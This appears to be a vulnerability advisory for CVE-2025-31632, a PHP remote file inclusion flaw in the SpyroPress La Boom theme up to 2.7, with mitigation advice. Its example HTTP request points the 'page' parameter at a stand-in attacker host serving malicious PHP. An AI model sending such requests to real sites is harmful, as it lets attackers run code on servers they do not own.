Overview
The cybersecurity world is grappling with the discovery of a new critical vulnerability, CVE-2025-31632, which is associated with SpyroPress La Boom. The issue arises due to an improper control of filename for Include/Require Statement in PHP Program, known as the ‘PHP Remote File Inclusion’ vulnerability. This vulnerability affects any system or website using La Boom versions up to 2.7 and could lead to a severe system compromise or data leakage. The severity of this issue is highlighted by the CVSS severity score of 8.1, indicating that it is a high-risk issue that requires immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-31632
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage
Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
SpyroPress La Boom | Up to 2.7
How the Exploit Works
The vulnerability exists due to an improper control of filename for include/require statement in the PHP program. This allows an attacker to include a file from a remote server that contains malicious PHP code, leading to remote file inclusion. Once this malicious file is included, it is executed on the server, potentially leading to unauthorized access or control over the system.
Conceptual Example Code
An attacker could exploit this issue with a HTTP request that includes the path to the malicious file on a remote server. For example:
GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comIn this request, the ‘page’ parameter is manipulated to include a file from a remote server (`malicious.example.com`). This file (`malicious_file.php`) contains malicious code which, when executed, can compromise the system.
Mitigation
Users are strongly advised to update their SpyroPress La Boom to the latest version. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits. It is also recommended to disable allow_url_fopen and allow_url_include settings in PHP configuration, if not required for the application. These settings allow PHP’s file functions — such as include, require, or file_get_contents — to retrieve data from remote locations, and disabling them reduces the risk of a remote file inclusion attack.